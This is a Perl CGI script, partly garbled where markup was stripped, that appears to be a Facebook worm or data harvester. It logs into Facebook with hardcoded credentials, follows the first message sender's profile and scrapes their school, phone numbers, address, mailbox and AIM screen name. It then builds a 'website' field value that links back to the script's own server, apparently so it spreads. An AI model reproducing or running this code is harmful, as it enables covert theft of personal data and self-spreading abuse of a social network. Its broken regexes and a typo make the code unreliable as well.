#!/usr/bin/perl use warnings; use strict; use CGI::Carp qw(fatalsToBrowser); use CGI::Pretty qw[:standard unescape escape]; use WWW::Mechanize; my $facebook_email = "our.login\@email.address"; my $target_prefix = "our.login"; # to be explained later my $target_suffix = "\@email.address"; my $pass = "p4s5w0rd"; my $base = "facebook.com"; my $self = "our.server.url"; my $self_suffix = ""; $| = 1; print "Content-type: text/html\n\n"; print "cgi
\n\n"; sub printFormElement { my ($name, $val) = @_; print "
\n"; } my $mech = WWW::Mechanize->new(autocheck => 1); $mech -> get('http://' . $base); $mech -> form_name("loginform"); $mech -> set_visible($facebook_email, $pass); $mech -> click_button("name" => "doquicklogin"); printFormElement("auth", "ok"); $mech -> follow_link(text_regex => qr/My Messages/); printFormElement("messages", "ok"); # follow the first profile link which isn't ourselves $mech -> follow_link(url_regex => qr/profile\.php/, n => 2); printFormElement("profile", "ok"); #$mech -> reloadl(); # grab the school prefix, bc we rock like that my ($school) = $mech -> uri() =~ m/\/\/(.+?)\./; printFormElement("school", $school); # get the name of sender my $page = $mech -> content(); my ($sender) = $page =~ m/>(.*?).s Profile "mailbox", "Mobile:" => "cell", "Phone:" => "phone"); my $key; foreach $key (keys(%fields)) { my ($val) = $page =~ m/$key.*?wrap\">(.*?) "cur_address", "AIM Screen name:" => "sn"); foreach $key (keys(%fields)) { my ($val) = $page =~ m/$key.*?wrap\">.*?\">(.*?)/ms; my @urls = split('href', $webs); foreach (@urls) { my ($url) = $_ =~ m/\"http:\/\/(.*)\"/ ; # skip blanks and also our own url if we were here before if ($url && $url !~ m/$self/) { $url =~ s/(\n|\r)//g; $val .= "$url "; } } # add a link to our script $val .= "$sender$self$self_suffix"; print FormElement("website", $val); print "
\n";